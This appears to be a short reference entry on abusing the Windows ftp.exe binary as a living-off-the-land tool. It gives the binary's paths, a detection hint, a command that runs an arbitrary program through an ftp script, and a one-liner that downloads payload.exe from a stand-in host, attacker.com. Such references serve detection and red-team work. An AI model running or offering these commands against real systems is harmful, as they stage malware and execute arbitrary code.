A binary designed for connecting to FTP servers

Paths:

C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe

Detection: cmd /c as child process of ftp.exe

Execute

Executes the commands you put inside the text file.

echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt

Download

cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"